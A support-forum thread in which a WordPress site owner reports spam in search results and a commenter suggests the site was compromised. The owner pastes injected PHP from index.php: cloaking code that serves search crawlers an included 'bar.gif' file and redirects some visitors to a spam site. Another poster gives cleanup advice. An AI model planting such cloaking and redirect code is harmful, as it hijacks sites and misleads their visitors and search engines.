Skip to main content

Incorrect results showing on Google and Bing search results?

Comments

3 comments

  • cPanelMichael
    Hello :) I suggest reviewing the .htaccess files and the code used in your scripts to determine if there is any data associated with those search engine results. It's possible your website files were exploited or the account itself was exploited. Thank you.
    0
  • Webuser2014
    Thank for the info. The index.php was modified somehow. It was modified to ;if(stripos($tmp,'Google')!==false){$flag=true;}else if(stripos($tmp,'Bing')!==false){$flag=true;}else if(stripos($tmp,'Yahoo')!==false){$flag=true;}else if(stripos($tmp,'msnbot')!==false){$flag=true;}else if($_GET["c">!=""){$flag=true;} if($flag == false){ $RUrl=rawurldecode($_SERVER ['HTTP_REFERER">); if (stripos($RUrl, 'spam crap here') or stripos($_GET["p">,'spam') !== false){header ( "Location: http://www.spamsitenamehere.com/" );}else{require('./wp-blog-header.php');} } else { include_once('bar.gif'); }
    I have restored it to the original so my wordpress site now works.
    0
  • quizknows
    Did you note the time stamps on the index file before you reverted it? You'll need this information to properly fix the infection, otherwise it will likely return. Check for any other files modified around that time; make sure your wordpress is updated, and audit your theme(s) and plugins for similar code. Always change your wp-admin password and your cPanel password as well.
    0

Please sign in to leave a comment.